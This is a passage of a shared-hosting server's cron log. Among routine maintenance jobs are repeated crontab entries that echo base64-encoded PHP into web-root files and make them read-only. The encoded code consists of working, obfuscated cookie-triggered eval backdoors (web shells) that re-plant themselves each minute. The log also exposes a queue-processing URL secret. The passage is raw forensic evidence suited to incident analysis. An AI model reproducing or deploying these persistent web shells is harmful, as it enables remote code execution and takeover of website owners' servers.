TQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:37:01 medusa CROND[5479]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:37:01 medusa CROND[5480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:37:01 medusa CROND[5481]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:37:01 medusa CROND[5482]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 06:37:01 medusa CROND[5483]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:37:01 medusa CROND[5484]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:37:01 medusa CROND[5486]: (root) CMD (/nutscripts/cleanqueue.sh > /dev/null 2>&1)
Mar  1 06:37:01 medusa CROND[5487]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:37:01 medusa CROND[5489]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:37:01 medusa CROND[5494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:37:01 medusa CROND[5495]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:37:01 medusa CROND[5497]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:37:01 medusa CROND[5500]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 06:37:01 medusa CROND[5502]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:38:01 medusa CROND[10785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:38:01 medusa CROND[10786]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 06:38:01 medusa CROND[10903]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:38:01 medusa CROND[10904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:38:01 medusa CROND[10909]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:38:01 medusa CROND[10911]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:38:01 medusa CROND[10912]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:38:01 medusa CROND[10913]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:38:01 medusa CROND[10914]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:38:01 medusa CROND[10921]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:38:01 medusa CROND[10923]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:38:01 medusa CROND[10926]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:38:01 medusa CROND[10927]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:39:01 medusa CROND[16285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:39:02 medusa CROND[16400]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:39:02 medusa CROND[16401]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0